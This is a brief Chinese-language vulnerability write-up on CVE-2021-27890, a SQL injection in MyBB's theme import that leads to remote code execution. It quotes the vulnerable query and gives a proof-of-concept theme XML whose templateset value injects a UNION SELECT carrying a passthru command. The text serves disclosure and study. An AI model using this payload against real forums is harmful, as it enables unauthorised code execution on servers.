跳转至

MyBB sql注入导致的远程代码执行 (CVE-2021-27890)

MyBB在读取模板属性templateset的时候会进行SQL查询操作,而templateset并没有经过任何预处理,因此导致SQL注入。

影响版本

1.8.16 <= MyBB <= 1.8.25

Mybb导入主题时可以解析xml文件,存储至数据库。在每次页面加载时,MyBB从数据库中获取所有可能的模板值,并存储在缓存中。提取所有模板值的SQL查询使用templateset属性,该属性未经处理就嵌入查询字符串中。因此,存在一个SQL注入漏洞:

$query = $db->simple_select("templates", "title,template",
    "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')",
    array('order_by' => 'sid', 'order_dir' => 'asc')

Poc:

<?xml version="1.0" encoding="UTF-8"?>
<theme name="Default" version="1821">
   <properties>
      <templateset>') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- </templateset>
   </properties>
</theme>

ref:

https://blog.sonarsource.com/mybb-remote-code-execution-chain